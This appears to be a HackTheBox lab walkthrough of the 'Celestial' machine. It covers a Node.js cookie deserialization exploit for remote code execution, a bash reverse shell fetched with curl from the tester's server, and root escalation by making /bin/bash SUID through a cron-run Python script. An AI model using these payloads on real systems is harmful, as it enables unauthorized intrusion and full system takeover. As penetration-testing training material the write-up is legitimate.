HTB: Celestial
Celestial is a very easy machine that for some reason is ranked medium.
It’s very simple, first we will do a Node.js deserialization attack to get RCE and a reverse shell.
And for root we will inject a command in a script that’s being executed as a crontab
Recon
⌗
Nmap⌗
Nmap finds only one opened port:
❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.75.136 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked up and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 15:48 -05
Initiating SYN Stealth Scan at 15:48
Scanning 10.129.75.136 [65535 ports]
Discovered open port 3000/tcp on 10.129.75.136
Completed SYN Stealth Scan at 15:48, 14.77s elapsed (65535 total ports)
Nmap scan report for 10.129.75.136
Host is up (0.16s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
3000/tcp open ppp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.88 seconds
Raw packets sent: 72461 (3.188MB) | Rcvd: 72456 (2.898MB)
Let’s inspect it deeper with parameters -sCV:
❯ nmap -sCV -p3000 10.129.75.136 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 15:49 -05
Nmap scan report for 10.129.75.136
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.02 seconds
HTTP server⌗
It’s an http server running Node.js, let’s take a look:
We get a “404” but after a reload we get different content.
The website doesn’t seem to be doing much.
Checking for cookies we have one:
❯ echo 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==' | base64 -d
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
❯ echo '{"username":"l0gan334","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}' | base64 -w 0
eyJ1c2VybmFtZSI6ImwwZ2FuMzM0IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQo=
Let’s try to change the values:
Node.js deserialization attack⌗
It looks like our cookie is being deserialized and interpreted by the website.
As it’s running Node.js it directly leads me to think about a Node.js deserialization attack. Here you have very useful blog that explains the vulnerability:
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
We can exploit this vulnerability with this oneliner that will execute a command once it’s deserialized:
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('whoami',function(error, stdout, stderr) { console.log(stdout) });}()"}
Let’s encode this in base64 and inject it in the cookie field:
We get an error, but maybe the command is still being executed so let’s try to get us a reverse shell.
❯ echo 'bash -i >& /dev/tcp/10.10.14.161/334 0>&1' > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
We will share an index.html in a http server with the usual command we use to get a reverse shell in bash.
And from the injection, we will make the machine curl to our http server and execute the index with bash:
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('curl 10.10.14.161|bash',function(error, stdout, stderr) { console.log(stdout) });}()"}
Set the netcat and send the payload in the web:
❯ nc -lvnp 334
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.75.136.
Ncat: Connection from 10.129.75.136:36800.
bash: cannot set terminal process group (3676): Inappropriate ioctl for device
bash: no job control in this shell
sun@sun:~$
We get a shell but not an interactive tty, so if we do ^C we lose the connection with a tty treatment we can fix this:
sun@sun:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
sun@sun:~$ ^Z
zsh: suspended nc -lvnp 334
❯ stty raw -echo; fg
[1] + continued nc -lvnp 334
reset xterm
And lastly some final touches like the screen size (you can get yours doing stty size
):
sun@sun:~$ export TERM=xterm
sun@sun:~$ export SHELL=bash
sun@sun:~$ stty rows 40 columns 145
Inside our home directoy we see a Windows like folder structure, and inside Documents we have the user.txt:
sun@sun:~/Documents$ ls
script.py user.txt
sun@sun:~/Documents$ cat user.txt
9a093cd22ce86b******************
Privesc
⌗
Inside our home directory we see an output.txt:
sun@sun:~$ cat output.txt
Script is running...
Pspy⌗
There’s probably a crontab running so let’s deploy pspy:
sun@sun:/tmp$ ./pspy
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/07/12 17:30:33 CMD: UID=0 PID=97 |
After some minutes we see this:
2022/07/12 17:35:01 CMD: UID=0 PID=6019 | python /home/sun/Documents/script.py
2022/07/12 17:35:01 CMD: UID=0 PID=6018 | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
Root is executing a script inside /home/sun/Documents/, we know this because of the UID. Let’s check if we have any permissions over this file:
sun@sun:/tmp$ ls -l /home/sun/Documents/script.py
-rw-rw-r-- 1 sun sun 29 Sep 21 2017 /home/sun/Documents/script.py
Execution as root⌗
We can write anything we want in this file so it doesn’t get any easier than just executing a command in python.
I will change the bash privileges to SUID:
import os
os.system("chmod u+s /bin/bash")
Now once the script is executed again this command will be run and we can spawn a bash as root:
sun@sun:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
sun@sun:/tmp$ bash -p
bash-4.3# whoami
root
Very simple. Now we can get the root.txt:
bash-4.3# cat /root/root.txt
ba1d0019200a54******************
See you next time!